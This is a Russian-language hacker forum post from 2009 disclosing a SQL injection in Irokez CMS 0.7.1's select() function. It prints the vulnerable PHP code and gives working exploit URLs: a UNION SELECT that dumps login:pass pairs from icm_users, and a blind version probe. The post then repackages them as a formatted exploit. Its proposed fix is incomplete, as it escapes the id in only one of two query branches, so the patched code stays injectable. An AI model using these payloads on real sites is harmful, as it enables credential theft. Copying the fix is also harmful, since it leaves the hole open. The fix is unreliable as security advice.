|
Участник форума
Регистрация: 18.07.2009
Сообщений: 272
С нами:
8850336
Репутация:
330
|
|
Irokez CMS 0.7.1 SQL inlection
Irokez CMS 0.7.1 SQL inlection
Уязвимость хранится в функции select() класса table.class.php. Дело в том, что передаваемые функцией параметры ничем не фильтруются.
Copeц бажной функции:
PHP код:
function select($id)
{
if (isset($this->_cache[$id])) {
$data = $this->_cache[$id];
} else {
$data = array();
/*
get data
*/
$is_trans = in_array($this->_name.$this->_trans, $this->db->getTables());
if ($is_trans) {
$query = "select t.*, m.* from {$this->_name} m"
. " left join {$this->_name}{$this->_trans} t on (t.{$this->_item} = m.id)"
. " where m.id = '$id' group by {$this->_lang}";
} else {
$query = "select * from {$this->_name} where id = '$id'";
}
$result = $this->db->exeQuery($query);
$main_fields = $this->db->getFields($this->_name);
if ($is_trans) {
$trans_fields = $this->db->getFields($this->_name . $this->_trans);
$trans_fields = array_flip($trans_fields);
} else {
$trans_fields = array();
}
unset($trans_fields[$this->_item], $trans_fields[$this->_lang]);
$trans_fields = array_flip($trans_fields);
$data = array();
while ($row = mysql_fetch_assoc($result)) {
foreach ($row as $field => $value) {
if (in_array($field, $main_fields)) {
$data[$field] = $value;
} elseif (in_array($field, $trans_fields)) {
$data[$field][$row[$this->_lang]] = $value;
}
}
}
if (isset($data['id'])) {
$this->_cache[$data['id']] = $data;
}
}
return $data;
}
Условия:magic_quotes_gpc = Off
Эксплатация:
PHP код:
http://localhost/ru/news/7'+union+select+1,2,concat_ws(0x3a,login,pass),4,5,6,7,8,9,10,11,12+from+icm_users--+/?page=1
PHP код:
http://localhost/ru/polls/4'+AND+ascii(lower(substring(version(),1,1)))>5--+/
Для защиты данной функции можно использовать функцию mysql_escape_string()
Пример защиты:
PHP код:
function select($id)
{
if (isset($this->_cache[$id])) {
$data = $this->_cache[$id];
} else {
$data = array();
/*
get data
*/
$is_trans = in_array($this->_name.$this->_trans, $this->db->getTables());
if ($is_trans) {
$id = mysql_escape_string($id);
$query = "select t.*, m.* from {$this->_name} m"
. " left join {$this->_name}{$this->_trans} t on (t.{$this->_item} = m.id)"
. " where m.id = '$id' group by {$this->_lang}";
} else {
$query = "select * from {$this->_name} where id = '$id'";
}
$result = $this->db->exeQuery($query);
$main_fields = $this->db->getFields($this->_name);
if ($is_trans) {
$trans_fields = $this->db->getFields($this->_name . $this->_trans);
$trans_fields = array_flip($trans_fields);
} else {
$trans_fields = array();
}
unset($trans_fields[$this->_item], $trans_fields[$this->_lang]);
$trans_fields = array_flip($trans_fields);
$data = array();
while ($row = mysql_fetch_assoc($result)) {
foreach ($row as $field => $value) {
if (in_array($field, $main_fields)) {
$data[$field] = $value;
} elseif (in_array($field, $trans_fields)) {
$data[$field][$row[$this->_lang]] = $value;
}
}
}
if (isset($data['id'])) {
$this->_cache[$data['id']] = $data;
}
}
return $data;
}
=========================================
Оформленый эксплойт:
Код:
[+]--------------------------------------------------------------------------------------------------------------------[+]
[+]--------------------------------------------[Irokez 0.7.1 SQL inlection]--------------------------------------------[+]
[+]--------------------------------------------------------------------------------------------------------------------[+]
-[INFO]----------------------------------------------------------------------------------------------------------------[+]
[+] Title:Irokez 0.7.1 SQL inlection
[+] Autor: Ins3t
[+] Date:04.08.2009
[+]--------------------------------------------------------------------------------------------------------------------[+]
-[BUG INFO]------------------------------------------------------------------------------------------------------------[+]
[+] The vulnerability is caused by insufficient processing of select() function, which led to the SQL inj.
[+] Conditions: magic_quotes_gpc = Off
[+] Code vulnerable functions:
[+]-------------------------------------------------[COD]---------------------------------------------------------------[+]
function select($id)
{
if (isset($this->_cache[$id])) {
$data = $this->_cache[$id];
} else {
$data = array();
/*
get data
*/
$is_trans = in_array($this->_name.$this->_trans, $this->db->getTables());
if ($is_trans) {
$query = "select t.*, m.* from {$this->_name} m"
. " left join {$this->_name}{$this->_trans} t on (t.{$this->_item} = m.id)"
. " where m.id = '$id' group by {$this->_lang}";
} else {
$query = "select * from {$this->_name} where id = '$id'";
}
$result = $this->db->exeQuery($query);
$main_fields = $this->db->getFields($this->_name);
if ($is_trans) {
$trans_fields = $this->db->getFields($this->_name . $this->_trans);
$trans_fields = array_flip($trans_fields);
} else {
$trans_fields = array();
}
unset($trans_fields[$this->_item], $trans_fields[$this->_lang]);
$trans_fields = array_flip($trans_fields);
$data = array();
while ($row = mysql_fetch_assoc($result)) {
foreach ($row as $field => $value) {
if (in_array($field, $main_fields)) {
$data[$field] = $value;
} elseif (in_array($field, $trans_fields)) {
$data[$field][$row[$this->_lang]] = $value;
}
}
}
if (isset($data['id'])) {
$this->_cache[$data['id']] = $data;
}
}
return $data;
}
[+]------------------------------------------------[/COD]--------------------------------------------------------------[+]
[+] Exploit:
[+]-------------------------------------------------[COD]---------------------------------------------------------------[+]
http://localhost/cms/ru/news/7'+union+select+1,2,concat_ws(0x3a,login,pass),4,5,6,7,8,9,10,11,12+from+icm_users--+/?page=1
[+]------------------------------------------------[/COD]--------------------------------------------------------------[+]
Последний раз редактировалось Ins3t; 05.08.2009 в 17:11..
|